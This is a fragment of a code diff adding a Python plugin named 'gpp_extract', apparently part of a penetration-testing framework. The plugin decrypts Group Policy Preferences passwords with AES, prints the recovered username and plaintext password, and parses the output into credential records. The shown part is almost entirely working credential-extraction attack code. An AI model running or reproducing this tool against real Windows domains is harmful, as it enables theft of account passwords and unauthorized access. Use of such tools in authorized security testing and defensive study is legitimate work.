+ cipher = AES.new(key, AES.MODE_CBC, iv=b'\\x00' * 16)
328
+ decrypted = unpad(cipher.decrypt(encrypted), AES.block_size)
329
+ print('[+] Decrypted Password:', decrypted.decode('utf-16-le').rstrip('\\x00'))
330
+ print()
331
+ print('=== CREDENTIALS FOUND ===')
332
+ print('Username: $USERNAME')
333
+ print('Password:', decrypted.decode('utf-16-le').rstrip('\\x00'))
334
+ print('=========================')
335
+ " 2>&1 || echo "[-] Python decryption failed - install pycryptodome: pip install pycryptodome"
336
+ fi
337
+ """,
338
+ ]
339
+
340
+ return {"cmd": cmd, "timeout": 120}
341
+
342
+ def get_timeout(self, args: List[str] = None) -> int:
343
+ """Return timeout in seconds."""
344
+ return 120 # 2 minutes should be plenty
345
+
346
+ def parse_output(
347
+ self,
348
+ output: str,
349
+ target: str,
350
+ args: List[str] = None,
351
+ ) -> Dict[str, Any]:
352
+ """Parse gpp_extract output for credentials."""
353
+ result = {
354
+ "tool": "gpp_extract",
355
+ "target": target,
356
+ "credentials": [],
357
+ "gpp_file_found": False,
358
+ "decryption_success": False,
359
+ }
360
+
361
+ # Check if GPP file was downloaded
362
+ if "Downloaded GPP file successfully" in output:
363
+ result["gpp_file_found"] = True
364
+
365
+ # Extract username
366
+ username_match = re.search(r"Username:\s*(.+?)(?:\n|$)", output)
367
+ username = username_match.group(1).strip() if username_match else None
368
+
369
+ # Extract decrypted password
370
+ password_match = re.search(r"Decrypted Password:\s*(.+?)(?:\n|$)", output)
371
+ if password_match:
372
+ result["decryption_success"] = True
373
+ password = password_match.group(1).strip()
374
+
375
+ if username and password:
376
+ result["credentials"].append(
377
+ {
378
+ "username": username,
379
+ "password": password,
380
+ "source": "gpp",
381
+ "type": "plaintext",
382
+ }
383
+ )
384
+
385
+ # Check for CREDENTIALS FOUND block
386
+ if "=== CREDENTIALS FOUND ===" in output:
387
+ result["decryption_success"] = True
388
+
389
+ return result
390
+
391
+
392
+ # Register the plugin
393
+ plugin = GppExtractPlugin()